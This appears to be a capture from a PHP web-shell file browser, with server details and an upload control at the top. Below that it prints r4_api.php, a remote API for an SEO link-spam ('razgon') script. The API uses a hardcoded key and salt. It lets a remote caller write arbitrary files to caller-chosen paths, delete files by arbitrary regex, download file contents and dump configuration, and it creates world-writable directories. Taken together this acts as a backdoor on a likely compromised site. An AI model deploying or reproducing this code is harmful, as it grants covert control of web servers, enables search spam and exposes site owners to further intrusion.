HEX
Server: Apache/2.4.6 (CloudLinux) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux s1.gigspace.ru 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
User: samok164 (6070)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /var/www/samok164/data/www2/mirneboskrebov.ru/rzgn/r4_api.php
<?php
    $r4_error_reporting = error_reporting(0);

    $r4_cfg_root = dirname(__FILE__);
    $r4_cfg_root .= '/';
    $r4_cfg_root = preg_replace('|([/]+)|is', '/', $r4_cfg_root);

    include_once("{$r4_cfg_root}r4_vars.php");
    include_once("{$r4_cfg_root}r4_libs.php");

    function r4_success($result) {
        $result['status'] = 'success';
        echo json_encode($result);
        exit(0);
    }

    function r4_fail($result, $errmsg) {
        $result['error'] = $errmsg;
        $result['status'] = 'fail';
        echo json_encode($result);
        exit(1);
    }

    $result = array();


    // Проверка ключа для доступа к API.
    if (!empty($_GET['apikey'])) {
        if (md5('r4apikey') !== $_GET['apikey']) {
            r4_fail($result, 'ApiKey is invalid');
        }
    }
    else {
        r4_fail($result, 'ApiKey required');
    }


    // Проверка защитного ключа с привязкой к сайту.
    if (file_exists("{$r4_cfg_root}r4_vars.php")) {
        if (!empty($_GET['dongle']) && !empty($r4_cfg_dongle)) {
            if ($r4_cfg_dongle !== $_GET['dongle']) {
                r4_fail($result, 'Dongle is invalid');
            }
        }
        else {
            r4_fail($result, 'Dongle required');
        }
    }


    // Загрузка или обновление файлов (бывший r4.putfile.php).
    if (isset($_GET['upload']) || isset($_GET['putfile'])) {
        if (empty($_GET['key'])) {
            r4_fail($result, 'Signature required');
        }

        if (!isset($_POST['r'])) {
            r4_fail($result, 'No file contents');
        }

        $rq = $_POST['r'];

        if (!isset($_GET['fn'])) {
            r4_fail($result, 'Filename not specified');
        }

        $fn = $_GET['fn'];

        if (get_magic_quotes_gpc()) {
            $rq = stripslashes($rq);
            $fn = stripslashes($fn);
        }

        // Для нового разгонщика предварительно создаём папку links и соответствующие подпапки
        if (preg_match('/^\d{18}\.rzg$/', $fn)) {
            $r5_links_dir = 'links/';
            $r5_links_subdir = $r5_links_dir . substr($fn, 0, 2);

            if (!file_exists($r5_links_dir)) {
                mkdir($r5_links_dir, 0777);

                $error = error_get_last();
                $error_message = isset($error['message']) ? $error['message'] : '';

                if (strpos($error_message, 'SAFE MODE')) {
                    r4_fail($result, 'Safe mode is on');
                }

                chmod($r5_links_dir, 0777);
            }

            if (!file_exists($r5_links_subdir) && file_exists($r5_links_dir)) {
                mkdir($r5_links_subdir, 0777);

                $error = error_get_last();
                $error_message = isset($error['message']) ? $error['message'] : '';

                if (strpos($error_message, 'SAFE MODE')) {
                    r4_fail($result, 'Safe mode is on');
                }

                chmod($r5_links_subdir, 0777);
            }

            $fn = "{$r5_links_subdir}/{$fn}";
        }

        $url = preg_replace("/&key=[0-9a-f]{32}/i", "", $_SERVER['REQUEST_URI']);

        if (md5('987agsdn7aoluygto97w64tudydtjkv'.'http://'.$_SERVER['HTTP_HOST'].$url.md5($rq)) != $_GET['key']) {
            r4_fail($result, 'Incorrect key '.$_GET['key'].'. Host '.$_SERVER['HTTP_HOST']);
        }

        if (isset($r4_cfg_cms) && strtolower($r4_cfg_cms) === 'ozpp') {
            $domain = $_SERVER['SERVER_NAME'];
            $domain = preg_replace('#^www\.#ism', '', $domain);
            $fn = "{$r4_cfg_root}{$domain}/{$fn}";
        }
        else {
            $fn = "{$r4_cfg_root}{$fn}";
        }

        $f = fopen($fn, 'w');

        if ($f) {
            if (fwrite($f, $rq) == -1) {
                r4_fail($result, "Error to write file: {$fn}");
            }

            fclose($f);
            chmod($fn, 0644);
        }
        else {
            r4_fail($result, "Error to open file: {$fn}");
        }

        r4_success($result);
    }


    // Паттерны для файлов разгонщика и файлов ссылок
    $rzgn_pattern = '^(r4.*|razgon.*|getHash.*|addongoogle.*|\.htaccess)$';
    $links_pattern = '^([0-9A-Fa-f]{32}|[0-9]{18})\.rzg$';


    // Удаление папок и файлов в каталоге разгонщика (по умолчанию: удаление всех файлов).
    if (array_intersect(array('delete_all', 'delete_rzgn', 'delete_links', 'delete_files'), array_keys($_GET))) {
        $pattern = '';

        if (isset($_GET['delete_rzgn'])) { // Удаление всех файлов разгонщика.
            $pattern = $rzgn_pattern;
        }
        elseif (isset($_GET['delete_links'])) { // Удаление всех файлов со ссылками разгонщика.
            $pattern = $links_pattern;
        }
        elseif (isset($_GET['delete_files']) && isset($_GET['pattern'])) { // Удаление файлов по маске.
            if (get_magic_quotes_gpc()) {
                $pattern = rawurldecode(stripslashes($_GET['pattern']));
            }
            else {
                $pattern = rawurldecode($_GET['pattern']);
            }
        }

        $exclude_files = array($r4_cfg_root.'r4_api.php', $r4_cfg_root.'r4_libs.php');
        $undeleted_files = rmdir_recursive($r4_cfg_root, $exclude_files, $pattern);
        if (empty($undeleted_files)) {
            r4_success($result);
        }
        else {
            $result['undeleted_files'] = $undeleted_files;
            r4_fail($result, 'Some files were not deleted.');
        }
    }


    // Получение содержимого файлов (по умолчанию: получение содержимого всех файлов в папке разгонщика).
    if (array_intersect(array('download_all', 'download_rzgn', 'download_links', 'download_files'), array_keys($_GET))) {
        $pattern = '';

        if (isset($_GET['download_rzgn'])) { // Получение содержимого всех файлов разгонщика.
            $pattern = $rzgn_pattern;
        }
        elseif (isset($_GET['download_links'])) { // Получение содержимого всех файлов со ссылками разгонщика.
            $pattern = $links_pattern;
        }
        elseif (isset($_GET['download_files']) && isset($_GET['pattern'])) { // Получение содержимого файлов по маске.
            if (get_magic_quotes_gpc()) {
                $pattern = rawurldecode(stripslashes($_GET['pattern']));
            }
            else {
                $pattern = rawurldecode($_GET['pattern']);
            }
        }

        $filenames = get_filenames($r4_cfg_root, array(), $pattern);
        $files = array();
        foreach ($filenames as $filename) {
            $contents = file_get_contents($filename);
            $files[substr($filename, strlen($r4_cfg_root))] = base64_encode($contents);
        }
        $result['files'] = $files;

        r4_success($result);
    }


    // Возвращает список файлов (по умолчанию: получение списка всех файлов в папке разгонщика).
    if (array_intersect(array('list_all', 'list_rzgn', 'list_links', 'list_files'), array_keys($_GET))) {
        $pattern = '';

        if (isset($_GET['list_rzgn'])) { // Возвращает список всех файлов разгонщика.
            $pattern = $rzgn_pattern;
        }
        elseif (isset($_GET['list_links'])) { // Возвращает список всех файлов со ссылками разгонщика.
            $pattern = $links_pattern;
        }
        elseif (isset($_GET['list_files']) && isset($_GET['pattern'])) { // Возвращает список файлов по маске.
            if (get_magic_quotes_gpc()) {
                $pattern = rawurldecode(stripslashes($_GET['pattern']));
            }
            else {
                $pattern = rawurldecode($_GET['pattern']);
            }
        }

        $filenames = get_filenames($r4_cfg_root, array(), $pattern);
        foreach ($filenames as $key => $filename) {
            $filenames[$key] = substr($filename, strlen($r4_cfg_root));
        }
        $result['files'] = $filenames;

        r4_success($result);
    }


    // Возвращает содержимое log-файлов посещений роботов поисковых систем.
    if (isset($_GET['get_visits_log'])) {
        if (empty($_GET['engine'])) {
            r4_fail($result, 'Param engine is empty');
        }

        if (!in_array($_GET['engine'], array('yandex', 'google'))) {
            r4_fail($result, 'Unknown engine: ' . $_GET['engine']);
        }

        $r4_logfile = $_SERVER['DOCUMENT_ROOT'] . '/rzgn/seenby' . $_GET['engine'] . '.rzg';

        if (!file_exists($r4_logfile)) {
            r4_fail($result, 'File not found: ' . $r4_logfile);
        }

        $action = array_intersect(array('get', 'delete'), explode(',', (empty($_GET['action']) ? 'get' : $_GET['action'])));

        if (in_array('get', $action)) {
            $result['contents'] = file_get_contents($r4_logfile);
        }

        if (in_array('delete', $action)) {
            if (!unlink($r4_logfile)) {
                $result['error'] = 'Could not delete: ' . $r4_logfile;
            }
        }

        r4_success($result);
    }


    // Получение используемой версии разгонщика.
    if (isset($_GET['get_version'])) {
        $filename = 'r4_version';
        if (file_exists("{$r4_cfg_root}{$filename}")) {
            $result['version'] = file_get_contents("{$r4_cfg_root}{$filename}");
            r4_success($result);
        }
        else {
            r4_fail($result, "File not found: {$filename}");
        }
    }


    // Получение параметров сайта из конфигурационного файла.
    if (isset($_GET['get_config'])) {
        $filename = 'r4_vars.php';
        if (file_exists("{$r4_cfg_root}{$filename}")) {
            $matches = array();
            $contents = file_get_contents("{$r4_cfg_root}{$filename}");
            preg_match_all('/^\s+\$(.*?)\s+=\s+(.*?);/ism', $contents, $matches);
            $result['php_version'] = preg_replace('/^(\d+\.\d+(?:\.\d+)?).*$/', '$1', phpversion());
            $result['cfg_root'] = $r4_cfg_root;
            foreach ($matches[1] as $index => $match) {
                $result[$match] = ($matches[2][$index]);
            }
            r4_success($result);
        }
        else {
            r4_fail($result, "File not found: {$filename}");
        }
    }

    error_reporting($r4_error_reporting);